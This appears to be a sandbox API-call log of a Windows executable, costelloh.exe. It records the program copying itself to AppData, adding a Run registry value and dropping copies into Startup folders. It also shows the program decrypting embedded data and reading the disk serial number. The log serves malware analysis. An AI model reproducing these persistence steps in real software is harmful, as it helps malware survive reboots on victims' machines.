	[0051.444] RegQueryValueExW (in: hKey=0x200, lpValueName="Common Startup", lpReserved=0x0, lpType=0x95fc0c, lpData=0xa15360, lpcbData=0x95fc14*=0x14a | out: lpType=0x95fc0c*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x95fc14*=0x78) returned 0x0
	[0051.444] RegCloseKey (hKey=0x200) returned 0x0
	[0051.444] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa11228 | out: hHeap=0xa10000) returned 1
	[0051.444] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa154b8 | out: hHeap=0xa10000) returned 1
	[0051.444] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpDst=0xa11318, nSize=0xf1 | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 0x8b
	[0051.444] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa152c8 | out: hHeap=0xa10000) returned 1
	[0051.444] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa112d0 | out: hHeap=0xa10000) returned 1
	[0051.444] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20a) returned 0xa152c8
	[0051.444] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20a) returned 0xa154e0
	[0051.444] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20a) returned 0xa156f8
	[0051.445] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20a) returned 0xa15910
	[0051.445] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xa152c8, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\costelloh.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\costelloh.exe")) returned 0x25
	[0051.445] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20a) returned 0xa15b28
	[0051.445] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xa15b28, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\costelloh.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\costelloh.exe")) returned 0x25
	[0051.445] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa15b28 | out: hHeap=0xa10000) returned 1
	[0051.445] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20a) returned 0xa15b28
	[0051.445] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xa15b28, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\costelloh.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\costelloh.exe")) returned 0x25
	[0051.445] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa15b28 | out: hHeap=0xa10000) returned 1
	[0051.445] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\costelloh.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\costelloh.exe"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\costelloh.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\costelloh.exe"), bFailIfExists=0) returned 1
	[0051.813] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x95fd14 | out: phkResult=0x95fd14*=0x0) returned 0x5
	[0051.814] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x95fd00 | out: phkResult=0x95fd00*=0x200) returned 0x0
	[0051.814] RegSetValueExW (in: hKey=0x200, lpValueName="costelloh", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Local\\costelloh.exe", cbData=0x56 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Local\\costelloh.exe") returned 0x0
	[0051.860] RegCloseKey (hKey=0x200) returned 0x0
	[0051.860] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x118) returned 0xa15b28
	[0051.860] GetLastError () returned 0x0
	[0051.860] SetLastError (dwErrCode=0x0) 
	[0051.860] GetLastError () returned 0x0
	[0051.860] SetLastError (dwErrCode=0x0) 
	[0051.860] GetLastError () returned 0x0
	[0051.860] SetLastError (dwErrCode=0x0) 
	[0051.860] GetLastError () returned 0x0
	[0051.860] SetLastError (dwErrCode=0x0) 
	[0051.860] GetLastError () returned 0x0
	[0051.861] SetLastError (dwErrCode=0x0) 
	[0051.861] GetLastError () returned 0x0
	[0051.861] SetLastError (dwErrCode=0x0) 
	[0051.861] GetLastError () returned 0x0
	[0051.861] SetLastError (dwErrCode=0x0) 
	[0051.861] GetLastError () returned 0x0
	[0051.861] SetLastError (dwErrCode=0x0) 
	[0051.861] GetLastError () returned 0x0
	[0051.861] SetLastError (dwErrCode=0x0) 
	[0051.861] GetLastError () returned 0x0
	[0051.861] SetLastError (dwErrCode=0x0) 
	[0051.861] GetLastError () returned 0x0
	[0051.861] SetLastError (dwErrCode=0x0) 
	[0051.861] GetLastError () returned 0x0
	[0051.861] SetLastError (dwErrCode=0x0) 
	[0051.861] GetLastError () returned 0x0
	[0051.861] SetLastError (dwErrCode=0x0) 
	[0051.861] GetLastError () returned 0x0
	[0051.861] SetLastError (dwErrCode=0x0) 
	[0051.861] GetLastError () returned 0x0
	[0051.862] SetLastError (dwErrCode=0x0) 
	[0051.862] GetLastError () returned 0x0
	[0051.862] SetLastError (dwErrCode=0x0) 
	[0051.862] GetLastError () returned 0x0
	[0051.862] SetLastError (dwErrCode=0x0) 
	[0051.862] GetLastError () returned 0x0
	[0051.862] SetLastError (dwErrCode=0x0) 
	[0051.862] GetLastError () returned 0x0
	[0051.862] SetLastError (dwErrCode=0x0) 
	[0051.862] GetLastError () returned 0x0
	[0051.862] SetLastError (dwErrCode=0x0) 
	[0051.862] GetLastError () returned 0x0
	[0051.862] SetLastError (dwErrCode=0x0) 
	[0051.862] GetLastError () returned 0x0
	[0051.862] SetLastError (dwErrCode=0x0) 
	[0051.862] GetLastError () returned 0x0
	[0051.862] SetLastError (dwErrCode=0x0) 
	[0051.862] GetLastError () returned 0x0
	[0051.862] SetLastError (dwErrCode=0x0) 
	[0051.862] GetLastError () returned 0x0
	[0051.862] SetLastError (dwErrCode=0x0) 
	[0051.863] GetLastError () returned 0x0
	[0051.863] SetLastError (dwErrCode=0x0) 
	[0051.863] GetLastError () returned 0x0
	[0051.863] SetLastError (dwErrCode=0x0) 
	[0051.863] GetLastError () returned 0x0
	[0051.863] SetLastError (dwErrCode=0x0) 
	[0051.863] GetLastError () returned 0x0
	[0051.863] SetLastError (dwErrCode=0x0) 
	[0051.863] GetLastError () returned 0x0
	[0051.863] SetLastError (dwErrCode=0x0) 
	[0051.863] GetLastError () returned 0x0
	[0051.864] SetLastError (dwErrCode=0x0) 
	[0051.864] GetLastError () returned 0x0
	[0051.864] SetLastError (dwErrCode=0x0) 
	[0051.864] GetLastError () returned 0x0
	[0051.864] SetLastError (dwErrCode=0x0) 
	[0051.864] GetLastError () returned 0x0
	[0051.864] SetLastError (dwErrCode=0x0) 
	[0051.864] GetLastError () returned 0x0
	[0051.864] SetLastError (dwErrCode=0x0) 
	[0051.864] GetLastError () returned 0x0
	[0051.864] SetLastError (dwErrCode=0x0) 
	[0051.864] GetLastError () returned 0x0
	[0051.864] SetLastError (dwErrCode=0x0) 
	[0051.864] GetLastError () returned 0x0
	[0051.864] SetLastError (dwErrCode=0x0) 
	[0051.864] GetLastError () returned 0x0
	[0051.864] SetLastError (dwErrCode=0x0) 
	[0051.864] GetLastError () returned 0x0
	[0051.864] SetLastError (dwErrCode=0x0) 
	[0051.864] GetLastError () returned 0x0
	[0051.865] SetLastError (dwErrCode=0x0) 
	[0051.865] GetLastError () returned 0x0
	[0051.865] SetLastError (dwErrCode=0x0) 
	[0051.865] GetLastError () returned 0x0
	[0051.865] SetLastError (dwErrCode=0x0) 
	[0051.865] GetLastError () returned 0x0
	[0051.865] SetLastError (dwErrCode=0x0) 
	[0051.865] GetLastError () returned 0x0
	[0051.865] SetLastError (dwErrCode=0x0) 
	[0051.865] GetLastError () returned 0x0
	[0051.865] SetLastError (dwErrCode=0x0) 
	[0051.865] GetLastError () returned 0x0
	[0051.865] SetLastError (dwErrCode=0x0) 
	[0051.865] GetLastError () returned 0x0
	[0051.865] SetLastError (dwErrCode=0x0) 
	[0051.865] GetLastError () returned 0x0
	[0051.865] SetLastError (dwErrCode=0x0) 
	[0051.865] GetLastError () returned 0x0
	[0051.865] SetLastError (dwErrCode=0x0) 
	[0051.865] GetLastError () returned 0x0
	[0051.866] SetLastError (dwErrCode=0x0) 
	[0051.866] GetLastError () returned 0x0
	[0051.866] SetLastError (dwErrCode=0x0) 
	[0051.866] GetLastError () returned 0x0
	[0051.866] SetLastError (dwErrCode=0x0) 
	[0051.866] GetLastError () returned 0x0
	[0051.866] SetLastError (dwErrCode=0x0) 
	[0051.866] GetLastError () returned 0x0
	[0051.866] SetLastError (dwErrCode=0x0) 
	[0051.866] GetLastError () returned 0x0
	[0051.869] SetLastError (dwErrCode=0x0) 
	[0051.869] GetLastError () returned 0x0
	[0051.869] SetLastError (dwErrCode=0x0) 
	[0051.869] GetLastError () returned 0x0
	[0051.869] SetLastError (dwErrCode=0x0) 
	[0051.869] GetLastError () returned 0x0
	[0051.869] SetLastError (dwErrCode=0x0) 
	[0051.869] GetLastError () returned 0x0
	[0051.869] SetLastError (dwErrCode=0x0) 
	[0051.869] GetLastError () returned 0x0
	[0051.869] SetLastError (dwErrCode=0x0) 
	[0051.869] GetLastError () returned 0x0
	[0051.869] SetLastError (dwErrCode=0x0) 
	[0051.869] GetLastError () returned 0x0
	[0051.869] SetLastError (dwErrCode=0x0) 
	[0051.869] GetLastError () returned 0x0
	[0051.869] SetLastError (dwErrCode=0x0) 
	[0051.869] GetLastError () returned 0x0
	[0051.869] SetLastError (dwErrCode=0x0) 
	[0051.870] GetLastError () returned 0x0
	[0051.870] SetLastError (dwErrCode=0x0) 
	[0051.870] GetLastError () returned 0x0
	[0051.870] SetLastError (dwErrCode=0x0) 
	[0051.870] GetLastError () returned 0x0
	[0051.870] SetLastError (dwErrCode=0x0) 
	[0051.870] GetLastError () returned 0x0
	[0051.870] SetLastError (dwErrCode=0x0) 
	[0051.870] GetLastError () returned 0x0
	[0051.870] SetLastError (dwErrCode=0x0) 
	[0051.870] GetLastError () returned 0x0
	[0051.870] SetLastError (dwErrCode=0x0) 
	[0051.870] GetLastError () returned 0x0
	[0051.870] SetLastError (dwErrCode=0x0) 
	[0051.870] GetLastError () returned 0x0
	[0051.870] SetLastError (dwErrCode=0x0) 
	[0051.870] GetLastError () returned 0x0
	[0051.870] SetLastError (dwErrCode=0x0) 
	[0051.870] GetLastError () returned 0x0
	[0051.870] SetLastError (dwErrCode=0x0) 
	[0051.870] GetLastError () returned 0x0
	[0051.871] SetLastError (dwErrCode=0x0) 
	[0051.871] GetLastError () returned 0x0
	[0051.871] SetLastError (dwErrCode=0x0) 
	[0051.871] GetLastError () returned 0x0
	[0051.871] SetLastError (dwErrCode=0x0) 
	[0051.871] GetLastError () returned 0x0
	[0051.871] SetLastError (dwErrCode=0x0) 
	[0051.871] GetLastError () returned 0x0
	[0051.871] SetLastError (dwErrCode=0x0) 
	[0051.871] GetLastError () returned 0x0
	[0051.871] SetLastError (dwErrCode=0x0) 
	[0051.871] GetLastError () returned 0x0
	[0051.871] SetLastError (dwErrCode=0x0) 
	[0051.871] GetLastError () returned 0x0
	[0051.871] SetLastError (dwErrCode=0x0) 
	[0051.871] GetLastError () returned 0x0
	[0051.871] SetLastError (dwErrCode=0x0) 
	[0051.871] GetLastError () returned 0x0
	[0051.871] SetLastError (dwErrCode=0x0) 
	[0051.871] GetLastError () returned 0x0
	[0051.871] SetLastError (dwErrCode=0x0) 
	[0051.871] GetLastError () returned 0x0
	[0051.872] SetLastError (dwErrCode=0x0) 
	[0051.872] GetLastError () returned 0x0
	[0051.872] SetLastError (dwErrCode=0x0) 
	[0051.872] GetLastError () returned 0x0
	[0051.872] SetLastError (dwErrCode=0x0) 
	[0051.872] GetLastError () returned 0x0
	[0051.872] SetLastError (dwErrCode=0x0) 
	[0051.872] GetLastError () returned 0x0
	[0051.872] SetLastError (dwErrCode=0x0) 
	[0051.872] GetLastError () returned 0x0
	[0051.872] SetLastError (dwErrCode=0x0) 
	[0051.872] GetLastError () returned 0x0
	[0051.872] SetLastError (dwErrCode=0x0) 
	[0051.872] GetLastError () returned 0x0
	[0051.872] SetLastError (dwErrCode=0x0) 
	[0051.872] GetLastError () returned 0x0
	[0051.872] SetLastError (dwErrCode=0x0) 
	[0051.872] GetLastError () returned 0x0
	[0051.872] SetLastError (dwErrCode=0x0) 
	[0051.872] GetLastError () returned 0x0
	[0051.872] SetLastError (dwErrCode=0x0) 
	[0051.872] GetLastError () returned 0x0
	[0051.873] SetLastError (dwErrCode=0x0) 
	[0051.873] GetLastError () returned 0x0
	[0051.873] SetLastError (dwErrCode=0x0) 
	[0051.873] GetLastError () returned 0x0
	[0051.873] SetLastError (dwErrCode=0x0) 
	[0051.873] GetLastError () returned 0x0
	[0051.873] SetLastError (dwErrCode=0x0) 
	[0051.873] GetLastError () returned 0x0
	[0051.873] SetLastError (dwErrCode=0x0) 
	[0051.873] GetLastError () returned 0x0
	[0051.873] SetLastError (dwErrCode=0x0) 
	[0051.873] GetLastError () returned 0x0
	[0051.873] SetLastError (dwErrCode=0x0) 
	[0051.873] GetLastError () returned 0x0
	[0051.873] SetLastError (dwErrCode=0x0) 
	[0051.873] GetLastError () returned 0x0
	[0051.873] SetLastError (dwErrCode=0x0) 
	[0051.873] GetLastError () returned 0x0
	[0051.873] SetLastError (dwErrCode=0x0) 
	[0051.873] GetLastError () returned 0x0
	[0051.873] SetLastError (dwErrCode=0x0) 
	[0051.873] GetLastError () returned 0x0
	[0051.874] SetLastError (dwErrCode=0x0) 
	[0051.874] GetLastError () returned 0x0
	[0051.874] SetLastError (dwErrCode=0x0) 
	[0051.874] GetLastError () returned 0x0
	[0051.874] SetLastError (dwErrCode=0x0) 
	[0051.874] GetLastError () returned 0x0
	[0051.874] SetLastError (dwErrCode=0x0) 
	[0051.874] GetLastError () returned 0x0
	[0051.874] SetLastError (dwErrCode=0x0) 
	[0051.874] GetLastError () returned 0x0
	[0051.874] SetLastError (dwErrCode=0x0) 
	[0051.874] GetLastError () returned 0x0
	[0051.874] SetLastError (dwErrCode=0x0) 
	[0051.874] GetLastError () returned 0x0
	[0051.874] SetLastError (dwErrCode=0x0) 
	[0051.874] GetLastError () returned 0x0
	[0051.874] SetLastError (dwErrCode=0x0) 
	[0051.874] GetLastError () returned 0x0
	[0051.874] SetLastError (dwErrCode=0x0) 
	[0051.874] GetLastError () returned 0x0
	[0051.875] SetLastError (dwErrCode=0x0) 
	[0051.875] GetLastError () returned 0x0
	[0051.875] SetLastError (dwErrCode=0x0) 
	[0051.875] GetLastError () returned 0x0
	[0051.875] SetLastError (dwErrCode=0x0) 
	[0051.875] GetLastError () returned 0x0
	[0051.875] SetLastError (dwErrCode=0x0) 
	[0051.875] GetLastError () returned 0x0
	[0051.875] SetLastError (dwErrCode=0x0) 
	[0051.875] GetLastError () returned 0x0
	[0051.875] SetLastError (dwErrCode=0x0) 
	[0051.875] GetLastError () returned 0x0
	[0051.875] SetLastError (dwErrCode=0x0) 
	[0051.875] GetLastError () returned 0x0
	[0051.875] SetLastError (dwErrCode=0x0) 
	[0051.875] GetLastError () returned 0x0
	[0051.875] SetLastError (dwErrCode=0x0) 
	[0051.875] GetLastError () returned 0x0
	[0051.875] GetLastError () returned 0x0
	[0051.875] GetLastError () returned 0x0
	[0051.876] GetLastError () returned 0x0
	[0051.876] GetLastError () returned 0x0
	[0051.876] GetLastError () returned 0x0
	[0051.876] GetLastError () returned 0x0
	[0051.876] GetLastError () returned 0x0
	[0051.876] GetLastError () returned 0x0
	[0051.876] GetLastError () returned 0x0
	[0051.876] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\costelloh.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\costelloh.exe"), lpNewFileName="c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\costelloh.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\costelloh.exe"), bFailIfExists=1) returned 1
	[0052.002] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\costelloh.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\costelloh.exe"), lpNewFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\costelloh.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\costelloh.exe"), bFailIfExists=1) returned 0
	[0052.006] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa15b28 | out: hHeap=0xa10000) returned 1
	[0052.006] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa152c8 | out: hHeap=0xa10000) returned 1
	[0052.006] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa154e0 | out: hHeap=0xa10000) returned 1
	[0052.006] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa156f8 | out: hHeap=0xa10000) returned 1
	[0052.006] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa15910 | out: hHeap=0xa10000) returned 1
	[0052.006] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa111c0 | out: hHeap=0xa10000) returned 1
	[0052.006] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa11250 | out: hHeap=0xa10000) returned 1
	[0052.006] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa11318 | out: hHeap=0xa10000) returned 1
	[0052.006] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa111c0
	[0052.006] CryptImportKey (in: hProv=0x14420, pbData=0x95fc7c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95fce4 | out: phKey=0x95fce4*=0x22490) returned 1
	[0052.006] CryptSetKeyParam (hKey=0x22490, dwParam=0x1, pbData=0x95fccc, dwFlags=0x0) returned 1
	[0052.006] CryptDecrypt (in: hKey=0x22490, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa111c0, pdwDataLen=0x95fc98 | out: pbData=0xa111c0, pdwDataLen=0x95fc98) returned 1
	[0052.006] CryptDestroyKey (hKey=0x22490) returned 1
	[0052.006] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x1e) returned 0xa111e8
	[0052.007] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x1e) returned 0xa11210
	[0052.007] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x90) returned 0xa11238
	[0052.007] CryptImportKey (in: hProv=0x14420, pbData=0x95fc54, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95fcbc | out: phKey=0x95fcbc*=0x225d0) returned 1
	[0052.007] CryptSetKeyParam (hKey=0x225d0, dwParam=0x1, pbData=0x95fca4, dwFlags=0x0) returned 1
	[0052.007] CryptDecrypt (in: hKey=0x225d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa11238, pdwDataLen=0x95fc70 | out: pbData=0xa11238, pdwDataLen=0x95fc70) returned 1
	[0052.007] CryptDestroyKey (hKey=0x225d0) returned 1
	[0052.007] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa11238 | out: hHeap=0xa10000) returned 1
	[0052.007] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xa111e8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0052.007] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa11210 | out: hHeap=0xa10000) returned 1
	[0052.007] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa111c0 | out: hHeap=0xa10000) returned 1
	[0052.007] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x95fd24, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x95fd24*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0052.007] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa111e8 | out: hHeap=0xa10000) returned 1
	[0052.007] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x28) returned 0xa111c0
	[0052.007] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x10) returned 0xa111f0
	[0052.007] CryptImportKey (in: hProv=0x14420, pbData=0x95fb8c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95fbf4 | out: phKey=0x95fbf4*=0x22890) returned 1
	[0052.007] CryptSetKeyParam (hKey=0x22890, dwParam=0x1, pbData=0x95fbdc, dwFlags=0x0) returned 1
	[0052.007] CryptDecrypt (in: hKey=0x22890, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa111f0, pdwDataLen=0x95fba8 | out: pbData=0xa111f0, pdwDataLen=0x95fba8) returned 1
	[0052.007] CryptDestroyKey (hKey=0x22890) returned 1
	[0052.007] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x10) returned 0xa11208
	[0052.007] CryptImportKey (in: hProv=0x14420, pbData=0x95fb84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95fbec | out: phKey=0x95fbec*=0x222d0) returned 1
	[0052.007] CryptSetKeyParam (hKey=0x222d0, dwParam=0x1, pbData=0x95fbd4, dwFlags=0x0) returned 1
	[0052.007] CryptDecrypt (in: hKey=0x222d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa11208, pdwDataLen=0x95fba0 | out: pbData=0xa11208, pdwDataLen=0x95fba0) returned 1
	[0052.007] CryptDestroyKey (hKey=0x222d0) returned 1
	[0052.007] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x10) returned 0xa11220
	[0052.007] CryptImportKey (in: hProv=0x14420, pbData=0x95fb7c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95fbe4 | out: phKey=0x95fbe4*=0x22690) returned 1
	[0052.007] CryptSetKeyParam (hKey=0x22690, dwParam=0x1, pbData=0x95fbcc, dwFlags=0x0) returned 1
	[0052.007] CryptDecrypt (in: hKey=0x22690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa11220, pdwDataLen=0x95fb98 | out: pbData=0xa11220, pdwDataLen=0x95fb98) returned 1
	[0052.008] CryptDestroyKey (hKey=0x22690) returned 1
	[0052.008] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x10) returned 0xa11238
	[0052.008] CryptImportKey (in: hProv=0x14420, pbData=0x95fb74, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95fbdc | out: phKey=0x95fbdc*=0x22410) returned 1
	[0052.008] CryptSetKeyParam (hKey=0x22410, dwParam=0x1, pbData=0x95fbc4, dwFlags=0x0) returned 1
	[0052.008] CryptDecrypt (in: hKey=0x22410, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa11238, pdwDataLen=0x95fb90 | out: pbData=0xa11238, pdwDataLen=0x95fb90) returned 1
	[0052.008] CryptDestroyKey (hKey=0x22410) returned 1
	[0052.008] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x90) returned 0xa11250
	[0052.008] CryptImportKey (in: hProv=0x14420, pbData=0x95fb6c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95fbd4 | out: phKey=0x95fbd4*=0x22390) returned 1
	[0052.008] CryptSetKeyParam (hKey=0x22390, dwParam=0x1, pbData=0x95fbbc, dwFlags=0x0) returned 1
	[0052.008] CryptDecrypt (in: hKey=0x22390, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa11250, pdwDataLen=0x95fb88 | out: pbData=0xa11250, pdwDataLen=0x95fb88) returned 1
	[0052.008] CryptDestroyKey (hKey=0x22390) returned 1
	[0052.008] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x10) returned 0xa112e8
	[0052.008] CryptImportKey (in: hProv=0x14420, pbData=0x95fb64, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95fbcc | out: phKey=0x95fbcc*=0x22750) returned 1
	[0052.008] CryptSetKeyParam (hKey=0x22750, dwParam=0x1, pbData=0x95fbb4, dwFlags=0x0) returned 1
	[0052.008] CryptDecrypt (in: hKey=0x22750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa112e8, pdwDataLen=0x95fb80 | out: pbData=0xa112e8, pdwDataLen=0x95fb80) returned 1
	[0052.008] CryptDestroyKey (hKey=0x22750) returned 1
	[0052.008] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x60) returned 0xa11300
	[0052.008] CryptImportKey (in: hProv=0x14420, pbData=0x95fb5c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95fbc4 | out: phKey=0x95fbc4*=0x22890) returned 1
	[0052.008] CryptSetKeyParam (hKey=0x22890, dwParam=0x1, pbData=0x95fbac, dwFlags=0x0) returned 1
	[0052.008] CryptDecrypt (in: hKey=0x22890, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa11300, pdwDataLen=0x95fb78 | out: pbData=0xa11300, pdwDataLen=0x95fb78) returned 1
	[0052.008] CryptDestroyKey (hKey=0x22890) returned 1
	[0052.008] htonl (hostlong=0xb4197730) returned 0x307719b4
	[0052.008] CryptGenRandom (in: hProv=0x14420, dwLen=0x20, pbBuffer=0x95fcb8 | out: pbBuffer=0x95fcb8) returned 1
	[0052.008] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x28) returned 0xa11368
	[0052.008] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x10) returned 0xa11398
	[0052.008] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x4) returned 0xa113b0
	[0052.008] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x14) returned 0xa113c0
	[0052.008] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x10) returned 0xa113e0
	[0052.008] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x80) returned 0xa113f8
	[0052.008] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x10) returned 0xa11480
	[0052.008] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x82) returned 0xa11498
	[0052.008] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x10) returned 0xa11528
	[0052.009] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x4) returned 0xa152c8
	[0052.009] CryptAcquireContextW (in: phProv=0x121fcf4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x121fcf4*=0x18960) returned 1
	[0052.009] CryptGenRandom (in: hProv=0x18960, dwLen=0x55, pbBuffer=0x95fc22 | out: pbBuffer=0x95fc22) returned 1
	[0052.009] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x10) returned 0xa152d8
	[0052.009] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x80) returned 0xa152f0
	[0052.009] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x10) returned 0xa15378
	[0052.009] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x2) returned 0xa15390
	[0052.009] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x4) returned 0xa153a0
	[0052.009] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x10) returned 0xa153b0
	[0052.009] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x80) returned 0xa153c8
	[0052.009] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x10) returned 0xa15450
	[0052.009] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x4) returned 0xa104a0
	[0052.010] RtlReAllocateHeap (Heap=0xa10000, Flags=0x0, Ptr=0xa15390, Size=0x82) returned 0xa104b0
	[0052.010] RtlReAllocateHeap (Heap=0xa10000, Flags=0x0, Ptr=0xa104a0, Size=0x100) returned 0xa18398
	[0052.010] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x10) returned 0xa10540
	[0052.011] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x82) returned 0xa184a0
	[0052.011] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x10) returned 0xa185e8
	[0052.011] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x82) returned 0xa18b38
